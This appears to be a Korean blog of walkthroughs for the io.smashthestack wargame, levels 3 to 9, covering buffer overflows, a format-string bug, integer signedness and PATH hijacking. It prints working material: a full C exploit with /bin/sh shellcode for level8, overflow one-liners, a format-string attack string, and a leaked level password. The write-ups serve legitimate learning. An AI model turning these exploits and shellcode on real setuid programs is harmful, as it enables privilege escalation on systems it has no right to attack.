io smashthestack level25
내용을 보시려면 비밀번호를 입력하세요.
level9는 소스가 완전히 바뀌었네요.
int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); return 0; }
level9의 소스입니다.. printf(buf); 포맷스트링이네요. 포맷스트링 버그는 잘 몰라서 시간이 좀 걸렸습니다.
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
return 0;
}
몇일동안 날새고 난 휴우증 때문인지 1주일 동안 포맷스트링 어택에 대해서 틈틈히 읽어봤지만 좀처럼 정리가 되질 않더군요. 다행히도 비누님이 작성하신 문서를 보고 나니 먼가 감이 와서 다시 디벼봤습니다.
Format string attack 은 결국 "원하는 주소에 원하는 값을 덮어 씌우는 것" 입니다.
일반적으로 여기서 원하는 주소는 return address 이며 원하는 값은 shellcode의 주소 입니다.
return address 를 찾아봅시다. 스택프레임에서 ebp+4 의 위치에 return address 가 있을거라 생각됩니다.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp
0x080483b7 <main+3>: sub $0x418,%esp
......
(gdb) b *0x080483b5
Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /levels/level9
Breakpoint 1, 0x080483b5 in main ()
(gdb) info reg esp
esp 0xbfffdd48 0xbfffdd48
(gdb) x/12x 0xbfffdd48
0xbfffdd48: 0xbfffdd98 0x00b65ea8 0x00000001 0xbfffddc4
0xbfffdd58: 0xbfffddcc 0x00000000 0x00c7eff4 0x00000000
0xbfffdd68: 0x0046bcc0 0xbfffdd98 0xbfffdd50 0x00b65e6d
(gdb) x/12x 0x00b65ea8
0xb65ea8 <__libc_start_main+200>: 0xe8240489 0x00016570 0x3883d231 0xc2940f00
0xb65eb8 <__libc_start_main+216>: 0xffff4de9 0x3493ffff 0x8b000037 0x00372c83
0xb65ec8 <__libc_start_main+232>: 0x08fff000 0x31c2940f 0x75d284c0 0x2404c7d3
0xbfffdd4c 의 값이 return address 이므로 이곳에 우리가 올린 shellcode의 주소를 넣을수 있다면 원하는 코드를 실행 시킬 수 있을 것입니다.
shellcode는 eggshell 을 이용해서 환경변수에 올렸습니다. 버퍼가 충분해서 쉘코드를 바로 집어넣어도 될듯
0xbfffdd08 로 바꾸면되겠네요. bfffdd08 을 그대로 입력하면 3221216520 입니다. 너무 커서 2바이트씩 잘라서 넣습니다.
공격 스트링의 구성입니다.
위와 같이 매칭을 해서 집어넣으려면 자리수를 만들어야합니다.
0xdd08 (56584) - 0x28 (40 = 4+4+4+4 +24) = DCE0 (56544)
0x1bfff (114687) - 0xdd08 (56584) = E2F7 (58103)
최종 공격 스트링입니다.
AAAA\x4c\xdd\xff\xbfBBBB\x4e\xdd\xff\bf %8x%8x%8x%56544c%n%58103c%n
자신만만하게 시도했지만 세그 폴트가 나더군요. gdb 상에서 리턴어드레스와 실제 리턴 어드레스는 차이가 난다라는 비누님의 조언과 Null@Root의 Willy 님이 쓰신 글(http://ttongfly.net/zbxe/?document_srl=42560&mid=systemhack&listStyle=&cpage=)을 보고 리턴어드레스를 추측해서
아래의 쿼리로 쉘을 얻을 수 있었습니다. (0x10씩 바꿔서 해봤습니다.)
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level8 (0) | 2010.01.21 |
level7 (0) | 2010.01.19 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |
level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요.
이전엔 do_the_nasty 함수의 ret를 덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.
사용한 exploit. (pass : ynfbxd6t)
#include#include #include #define NOP 0x90 #define TARGET "/levels/level8" char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *cmd1, *cmd2; char *ptr, *egg; long *addr_ptr, addr; int size1=32, size2=112; int i; if (!(cmd1 = malloc(size1))) { printf("Can't allocate memory.\n"); exit(0); } if (!(cmd2 = malloc(size2))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(2048))) { printf("Can`t allocate memory.\n"); exit(0); } addr = get_esp(); printf("Using address: 0x%x\n", addr); ptr = cmd1; for (i = 0; i < size1; i++) *(ptr++) = '\x90'; ptr = cmd2; *(ptr++) = NOP; addr_ptr = (long *) ptr; for (i = 0; i < size2; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < 2048 - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[2048 - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); execl(TARGET,"level8",cmd1,cmd2,NULL); }
--------------------------------------------------------------------
#include <string.h>
// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope
void do_the_nasty(char *argv[])
{
char buf[32];
strncpy(buf, argv[1], sizeof(buf));
strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}
int main(int argc, char *argv[])
{
do_the_nasty(argv);
return 0;
}
level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.
다행입니다. 흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니..
환경변수를 이용해야겠군요.
우선 디스어셈블된 코드를 확인했습니다.
52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는
buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.
egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.
스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.
(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Breakpoint 1, 0x080483fa in do_the_nasty ()
(gdb) info reg
eax 0xbfffd4e4 -1073752860
ecx 0xbfffd512 -1073752814
edx 0x3ffffffc 1073741820
ebx 0x4a4ff4 4870132
esp 0xbfffd4d0 xbfffd4d0
ebp 0xbfffd508 0xbfffd508
esi 0x0 0
edi 0xbfffd508 -1073752824
eip 0x80483fa 0x80483fa <do_the_nasty+102>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/60x 0xbfffd4d0
0xbfffd4d0: 0xbfffd4e4 0xbfffd6b3 0xfffffffc 0x003da80e
0xbfffd4e0: 0xbfffd4e4 0x90909090 0x90909090 0x90909090
0xbfffd4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffd500: 0x90909090 0x18bd2cc0 0x18bfffdd 0x18bfffdd
0xbfffd510: 0x00bfffdd 0xbfffd530 0xbfffd578 0x0038bea8
0xbfffd520: 0x00000000 0x00bd2cc0 0xbfffd578 0x0038bea8
0xbfffd530: 0x00000003 0xbfffd5a4 0xbfffd5b4 0x00000000
0xbfffd540: 0x004a4ff4 0x00000000 0x00bd2cc0 0xbfffd578
0xbfffd550: 0xbfffd530 0x0038be6d 0x00000000 0x00000000
0xbfffd560: 0x00000000 0x00bc8090 0x0038bded 0x00bd2ff4
0xbfffd570: 0x00000003 0x080482f0 0x00000000 0x08048311
0xbfffd580: 0x08048400 0x00000003 0xbfffd5a4 0x08048480
0xbfffd590: 0x08048430 0x00bc8c40 0xbfffd59c 0x00bd34e4
0xbfffd5a0: 0x00000003 0xbfffd683 0xbfffd692 0xbfffd6b3
0xbfffd5b0: 0x00000000 0xbfffd6c0 0xbfffd6d0 0xbfffd6db
(gdb)
붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의
원하는 주소값이 제대로 안들어 갑니다.
따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level9 (0) | 2010.01.21 |
level7 (0) | 2010.01.19 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |
level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe
void check_id(unsigned int id)
{
if(id > 10) {
execl("/bin/sh", "sh", NULL);
} else {
printf("Not today son\n");
}
}
int main(int argc, char *argv[])
{
int id;
sscanf(argv[1], "%d", &id);
if(id > 10) {
printf("Erm....no\n");
exit(-1);
}
check_id(id);
return 0;
}
check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level9 (0) | 2010.01.21 |
level8 (0) | 2010.01.21 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |
level6 도 소스코드가 있더군요.
level6@io:/levels$ cat level6.c
#include<string.h>
// The devil is in the details - nnp
void copy_buffers(char *argv[])
{
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31); argv[1]은 buf2로 31만큼 복사
strncpy(buf3, argv[2], sizeof(buf3)); argv[2]는 buf3로 32만큼 복사
strcpy(buf1, buf3); buf3를 buf1으로 복사
}
int main(int argc, char *argv[])
{
copy_buffers(argv);
return 0;
}
buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때 32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.
라고 가정하였습니다; 확인해봅시다.
네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.
우선 copy_buffers 함수
argv
ret address
ebp
buf1 ---- ebp-32
buf2 ---- ebp-64
buf3 ---- ebp-96
스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)
buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)
NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>: leave 에breakpoint를 걸었습니다.
(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`
Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp 0xbfffdc80 0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80: 0xbfffdcd8 0xbfffdc98 0x00000020 0x00000000
0xbfffdc90: 0x00000000 0x00000000 0x90909090 0x90909090
0xbfffdca0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdcb0: 0x90909090 0x90909090 0x41414141 0x41414141
0xbfffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdcd0: 0x41414141 0x00414141 0x90909090 0x90909090
0xbfffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdcf0: 0x90909090 0x90909090 0x41414141 0x41414141
0xbfffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdd10: 0x41414141 0x00414141 0xbfffdd68 0x00d52ea8
0xbfffdd20: 0x00000003 0xbfffdd94 0xbfffdda4 0x00000000
0xbfffdd30: 0x00e6bff4 0x00000000 0x00ed9cc0 0xbfffdd68
0xbfffdd40: 0xbfffdd20 0x00d52e6d 0x00000000 0x00000000
0xbfffdd50: 0x00000000 0x00ecf090 0x00d52ded 0x00ed9ff4
...
buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address 는 0xbfffdcbc 입니다.
최종 공격코드 입니다.
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level9 (0) | 2010.01.21 |
level8 (0) | 2010.01.21 |
level7 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |
level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.
level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA
BOF 군요. 바이너리도 한번 살펴봤습니다.
argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.
쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.
만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.
char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";
void main()
{
int *ret;
ret =(int *)&ret + 2;
*ret = shell;
}
혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..
스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.
(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)
ret =(int *)&ret + 7;
다 준비됐으니 이제 넘치게 해보겠습니다.
처음엔 [Shellcode] [AAAA.....] [Shellcode address] 이렇게 해보고자 했지만 되질 않더군요.
어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다
[NOPNOPNOP...] [Shell code] [NOP address]
return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.
./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`
흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요. 예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
이라고 하면 NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로 값이 들어가지 않고 이상한 값이 들어가 있었습니다.
혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이 되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다. 결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.
level4@io:/levels$ ./level4
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
level4@io:/levels$ gdb level4
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048354 <main+0>: lea 0x4(%esp),%ecx
0x08048358 <main+4>: and $0xfffffff0,%esp
0x0804835b <main+7>: pushl 0xfffffffc(%ecx)
0x0804835e <main+10>: push %ebp
0x0804835f <main+11>: mov %esp,%ebp
0x08048361 <main+13>: push %ecx
0x08048362 <main+14>: sub $0x4,%esp
0x08048365 <main+17>: movl $0x8048488,(%esp)
0x0804836c <main+24>: call 0x8048280 <system@plt>
0x08048371 <main+29>: mov $0x0,%eax
0x08048376 <main+34>: add $0x4,%esp
0x08048379 <main+37>: pop %ecx
0x0804837a <main+38>: pop %ebp
0x0804837b <main+39>: lea 0xfffffffc(%ecx),%esp
0x0804837e <main+42>: ret
0x0804837f <main+43>: nop
End of assembler dump.
(gdb) x/s 0x08048488
0x8048488 <_IO_stdin_used+4>: "id"
달랑 system함수로 id 만 실행하는 바이너리네요. 환경변수를 이용해 볼까하고
PATH를 바꿔주고 /tmp 에 가보니 이미 id 라는 쉘을 실행하는 바이너리가 있었습니다.
.pass를 보기전에 환경변수를 다시 셋팅~
level3 를 실행했더니 위와같이 세그멘테이션 폴트가 발생합니다.
인자를 넣어보았습니다.
hmm 의 주소가 0x804847f 라고 나오는 걸로 봐서 이주소가 힌트가 될거라 생각되네요.
함수에 대한 심볼을 살펴보았더니..
level3@io:/levels$ gdb level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) info func
All defined functions:
Non-debugging symbols:
0x08048318 _init
0x08048340 execl@plt
0x08048350 strlen@plt
0x08048360 __libc_start_main@plt
0x08048370 printf@plt
0x08048380 memset@plt
0x08048390 __gmon_start__@plt
0x080483c4 call_gmon_start
0x080483f0 __do_global_dtors_aux
0x08048430 frame_dummy
0x08048464 good
0x0804847f hmm
0x080484af main
0x080485b0 __libc_csu_fini
0x08048600 __libc_csu_init
0x08048653 __i686.get_pc_thunk.bx
0x08048660 __do_global_ctors_aux
0x08048690 _fini
(gdb)
함수 hmm 이 있습니다.
printf가 찍는 문자열을 확인해보았습니다.
Win 이라네요. 아무래도 0x0804847f의 함수 포인터를 어딘가에 덮어 씌우면 될거 같습니다.
해보는김에 good도 확인해봤습니다.
이녀석이 원래 호출되는 함수군요.
main 함수를 디스어셈블 해볼까요
중간중간에 섞여있는 이런 표현들이 헷갈리네요
0x080484c9 <main+26>: lea 0x0(,%eax,4),%edx
0x080484d5 <main+38>: cmpl $0x0,(%eax,%edx,1)
0x080484ec <main+61>: mov (%eax,%edx,1),%eax
call %eax 가 결국 함수 포인터를 호출하는 부분일테니.. 이곳에 브레이크 포인트를 걸어봤습니다.
(gdb) b *main+243
Breakpoint 1 at 0x80485a2
(gdb) r AAAAAAAAAAAA
Starting program: /levels/level3 AAAAAAAAAAAA
Breakpoint 1, 0x080485a2 in main ()
(gdb) info reg esp
esp 0xbfffdcf0 0xbfffdcf0
esp를 확인하고 스택을 들여다보니 다음과 같네요.
덮어 씌워야 하는 곳은 0x08048464 (good)의 함수 포인터 입니다. 따라서 36byte만큼 채우고 hmm의
함수 포인터를 던져줍니다.
음.. 다시 풀고 보니 왠지 뽀록으로 푼거 같네요. -0-